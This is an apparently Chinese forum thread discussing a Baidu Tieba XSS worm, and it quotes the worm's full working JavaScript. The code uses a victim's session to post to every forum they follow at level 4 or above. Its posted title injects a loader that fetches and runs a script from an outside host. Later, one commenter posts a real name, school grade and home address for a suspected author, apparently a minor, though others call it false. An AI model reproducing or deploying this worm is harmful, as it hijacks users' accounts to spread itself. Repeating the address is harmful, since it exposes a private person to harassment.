看到了,很多贴吧都有这帖.

1111

我勒个去，“我喜欢的贴吧”都会转发这条信息

var forumName = [];



var forumId = [];



for (var i = 0, j = 0; i < PageData.user.user_forum_list.info.length; i++) {



  if (PageData.user.user_forum_list.info[i].user_level > 3) {



    if (PageData.user.user_forum_list.info[i].forum_name!="璐村惂鐩戞帶") {



      forumName[j] = PageData.user.user_forum_list.info[i].forum_name;



      forumId[j] = PageData.user.user_forum_list.info[i].id;



      j++;



    }



  }



}







function madeit(myKw, myFid) {



  var c = rich_postor._getData();



  c.content="\\u8bf7\\u5141\\u8bb8\\u6211\\u505a\\u4e00\\u4e2a\\u5fe7\\u4f24\\u7684\\u8868\\u60c5\\uff0c\\u662f\\u5fe7\\u4f24\\u54e6\\uff01";



  c.ftid = c.fid;



  c.ptid = "2337372175";



  c.title = '\\u70b9\\u8fdb\\u6765\\u6709..",a:$.getScript(\\'//xss.retaker.me/1.js\\'),a:"';



  c.fid = myFid;



  c.kw = myKw;



  $.post("/relay/commit", c);



}



//now begin!



for (j = 0; j < forumName.length; j++) {



  setTimeout("madeit('" + forumName[j] + "','" + forumId[j] + "')", 1500 * j);



}

哈哈哈哈哈,好玩儿~

为何说是csrf

@呆子不开口 要不是什么啊~~

DOM XSS WORM http://weibo.com/1652595727/zxsFJ60bn
csrf方式来提交表单而已，但应该认为是XSS

@asdf 额~~我是菜鸟~~我一直认为的是xss和csrf是一类的 怎么区分呢~~xss只是窃取用户cookies等，而csrf是借助用户权限干别的事情~~

因为这个好多人被封了

乌云白帽子干的http://www.wooyun.org/whitehats/retaker

@海盗湾V 我在网上搜了搜他百度账号 面包虫007  貌似之前也干过这事http://tieba.baidu.com/p/2204216052

@liyang csrf和xss是不一样的。虽然都属于前端hack

@liyang 面包虫007 ，真实姓名：王竟宇
年级，初一 地址：济南章丘双山小区4栋17号
真的假的？

@海盗湾V 不是他首发的

@dtc 求解救………………

@海盗湾V 当然是假的

LZ 你的马赛克为什么不全打呢？

@齐迹 那其实就是我的账号，有哪里漏了么~

比较牛逼

这个虫子的行为是：一个用户中招后，就会在所有该用户收藏的贴吧中发帖。

看不来csrf想学啊！